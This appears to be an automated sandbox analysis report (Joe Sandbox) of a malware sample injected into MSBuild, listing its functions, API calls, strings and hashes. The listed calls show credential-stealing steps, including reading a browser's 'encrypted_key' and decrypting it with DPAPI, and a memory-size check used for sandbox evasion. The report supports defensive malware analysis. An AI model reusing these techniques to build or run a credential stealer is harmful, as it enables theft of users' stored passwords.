RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,01350BA8,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01355D10,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,01350BA8,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,01355520,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,013561D8,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,013561A8), ref: 0041415B

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6C51C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C51C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C51C969
GetSystemInfo.KERNEL32(?), ref: 6C51C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C51C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C51C9E2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction ID: 76f1251c72432eb71f02ca72949187eda325e35ed3e6aa269d1311ca5bf18be3
Opcode Fuzzy Hash: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
